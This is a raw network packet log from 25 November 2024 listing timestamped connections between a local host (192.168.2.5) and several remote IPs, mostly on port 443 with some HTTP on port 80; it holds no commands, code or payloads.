Nov 25, 2024 14:14:47.185519934 CET	49847	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:47.189203024 CET	49847	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:47.189224958 CET	443	49847	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:47.219351053 CET	443	49861	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.220784903 CET	49861	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.220807076 CET	443	49861	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.221369028 CET	49861	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.221374035 CET	443	49861	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.223752022 CET	49863	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:47.223761082 CET	443	49863	23.219.82.98	192.168.2.5
Nov 25, 2024 14:14:47.259953022 CET	443	49849	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:47.259979010 CET	443	49849	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:47.260013103 CET	443	49849	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:47.260046959 CET	49849	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:47.260077953 CET	443	49849	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:47.260091066 CET	443	49849	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:47.260098934 CET	49849	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:47.260145903 CET	49849	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:47.260670900 CET	49849	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:47.260689020 CET	443	49849	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:47.260698080 CET	49849	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:47.260703087 CET	443	49849	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:47.263195992 CET	443	49862	23.219.82.98	192.168.2.5
Nov 25, 2024 14:14:47.263485909 CET	49862	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:47.263494015 CET	443	49862	23.219.82.98	192.168.2.5
Nov 25, 2024 14:14:47.264982939 CET	443	49862	23.219.82.98	192.168.2.5
Nov 25, 2024 14:14:47.265036106 CET	49862	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:47.265408993 CET	49862	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:47.265499115 CET	443	49862	23.219.82.98	192.168.2.5
Nov 25, 2024 14:14:47.273367882 CET	49863	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:47.319709063 CET	49862	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:47.319717884 CET	443	49862	23.219.82.98	192.168.2.5
Nov 25, 2024 14:14:47.334547997 CET	49871	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:47.334568977 CET	443	49871	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:47.334800959 CET	49871	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:47.336519003 CET	49871	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:47.336529016 CET	443	49871	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:47.364857912 CET	443	49860	20.110.205.119	192.168.2.5
Nov 25, 2024 14:14:47.365705967 CET	49862	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:47.365928888 CET	443	49860	20.110.205.119	192.168.2.5
Nov 25, 2024 14:14:47.365998983 CET	49860	443	192.168.2.5	20.110.205.119
Nov 25, 2024 14:14:47.367897034 CET	49860	443	192.168.2.5	20.110.205.119
Nov 25, 2024 14:14:47.367911100 CET	443	49860	20.110.205.119	192.168.2.5
Nov 25, 2024 14:14:47.507396936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:47.507483006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:47.609299898 CET	443	49864	204.79.197.219	192.168.2.5
Nov 25, 2024 14:14:47.609532118 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:47.609553099 CET	443	49864	204.79.197.219	192.168.2.5
Nov 25, 2024 14:14:47.610565901 CET	443	49864	204.79.197.219	192.168.2.5
Nov 25, 2024 14:14:47.610624075 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:47.611900091 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:47.611959934 CET	443	49864	204.79.197.219	192.168.2.5
Nov 25, 2024 14:14:47.630183935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:47.630212069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:47.656873941 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:47.656893969 CET	443	49864	204.79.197.219	192.168.2.5
Nov 25, 2024 14:14:47.668323994 CET	443	49861	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.668391943 CET	443	49861	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.668503046 CET	49861	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.668744087 CET	49861	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.668762922 CET	443	49861	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.668778896 CET	49861	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.668783903 CET	443	49861	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.669457912 CET	443	49865	204.79.197.219	192.168.2.5
Nov 25, 2024 14:14:47.669980049 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:47.670015097 CET	443	49865	204.79.197.219	192.168.2.5
Nov 25, 2024 14:14:47.671487093 CET	443	49865	204.79.197.219	192.168.2.5
Nov 25, 2024 14:14:47.671575069 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:47.671999931 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:47.672080994 CET	443	49865	204.79.197.219	192.168.2.5
Nov 25, 2024 14:14:47.674350023 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.674397945 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.674918890 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.675632000 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.675647020 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.704047918 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:47.720014095 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:47.720040083 CET	443	49865	204.79.197.219	192.168.2.5
Nov 25, 2024 14:14:47.766957045 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:47.981517076 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:47.981538057 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:47.981914043 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:47.982404947 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:47.982414007 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:47.993983984 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:47.994015932 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:47.994126081 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:47.994412899 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:47.994425058 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:48.040261030 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:48.040544987 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:48.040564060 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:48.040925026 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:48.041614056 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:48.041678905 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:48.041949034 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:48.087336063 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:48.177963972 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:48.178009033 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:48.178075075 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:48.178426981 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:48.178438902 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:48.570703030 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:48.570729971 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:48.571050882 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:48.571119070 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:48.572201014 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:48.572216988 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:48.617505074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:48.617587090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:48.682522058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:48.762136936 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:48.762731075 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:48.762746096 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:48.763254881 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:48.763259888 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:48.768326044 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:48.768727064 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:48.768752098 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:48.769140005 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:48.769153118 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:48.788844109 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:48.789269924 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:48.789287090 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:48.789752007 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:48.789762020 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:48.805035114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:48.855741024 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:48.856306076 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:48.856338024 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:48.856794119 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:48.856801033 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.133143902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:49.133217096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:49.133480072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:49.133492947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:49.133529902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:49.133563042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:49.136194944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:49.164355993 CET	443	49871	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:49.181682110 CET	49871	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:49.181698084 CET	443	49871	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:49.182533026 CET	49871	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:49.182538033 CET	443	49871	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:49.182574034 CET	49871	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:49.182584047 CET	443	49871	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:49.198384047 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.198448896 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.198565006 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.198867083 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.198885918 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.198909044 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.198915958 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.205214977 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.205368996 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.205483913 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.208072901 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.208097935 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.211019993 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.211055994 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.211110115 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.212232113 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.212250948 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.213596106 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.213630915 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.213725090 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.213901043 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.213916063 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.233881950 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.233968019 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.234016895 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.238325119 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.238343000 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.238363028 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.238369942 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.243083954 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.243088007 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.243127108 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.243195057 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.243438005 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.243463039 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.243825912 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.243840933 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.244620085 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.245273113 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.245455027 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.245551109 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.256249905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:49.291330099 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.302701950 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.302975893 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.303006887 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.304223061 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.304617882 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.304763079 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.304769039 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.304800987 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.349936962 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.393049955 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.393287897 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.393312931 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.393665075 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.393757105 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.393929958 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.393989086 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.394012928 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.394027948 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.394036055 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.394670963 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.394745111 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.395157099 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.395222902 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.395308971 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.395320892 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.397732019 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.397768974 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.397855997 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.398029089 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.398041010 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.449609041 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.461539984 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.462093115 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.462137938 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.462601900 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.462611914 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.585304976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:49.585411072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:49.604085922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:49.685112953 CET	49880	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:49.685170889 CET	443	49880	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:49.685595036 CET	49880	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:49.685918093 CET	49880	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:49.685939074 CET	443	49880	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:49.691477060 CET	49881	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:49.691508055 CET	443	49881	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:49.691582918 CET	49881	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:49.692126989 CET	49881	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:49.692137957 CET	443	49881	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:49.724070072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:49.875144005 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.875300884 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.875346899 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.875365019 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.875385046 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.875406027 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.875411987 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.875466108 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.875473976 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.885108948 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.885137081 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.885152102 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.885215998 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.885241985 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.885289907 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.920177937 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.920248985 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.920295954 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.920316935 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.920581102 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.920598030 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.920608997 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.920614004 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.924283028 CET	49882	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.924376965 CET	443	49882	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.924460888 CET	49882	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.924654007 CET	49882	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:49.924705029 CET	443	49882	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:49.928864002 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.928886890 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.928951979 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.928966999 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.928978920 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.929007053 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.936960936 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.937027931 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.944885015 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.944911003 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.944920063 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.944945097 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.944963932 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.944972992 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.944973946 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.944986105 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:49.945004940 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:49.945035934 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.009555101 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.009598017 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.009682894 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.009708881 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.009726048 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.009762049 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.009785891 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.017524004 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.017586946 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.065706015 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.065735102 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.065774918 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.065798044 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.065824986 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.065850973 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.074059963 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.074143887 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.085112095 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.085134983 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.085185051 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.085192919 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.085236073 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.086252928 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.086276054 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.086316109 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.086317062 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.086352110 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.086401939 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.086432934 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.086450100 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.114739895 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.114757061 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.114841938 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.114850044 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.114949942 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.128206015 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.128263950 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.145951033 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.146007061 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.146029949 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.146038055 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.146083117 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.153618097 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.153635979 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.153738022 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.153745890 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.153793097 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.203017950 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.203071117 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.203130007 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.203142881 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.203186035 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.216906071 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.216989040 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.223161936 CET	443	49874	104.117.182.27	192.168.2.5
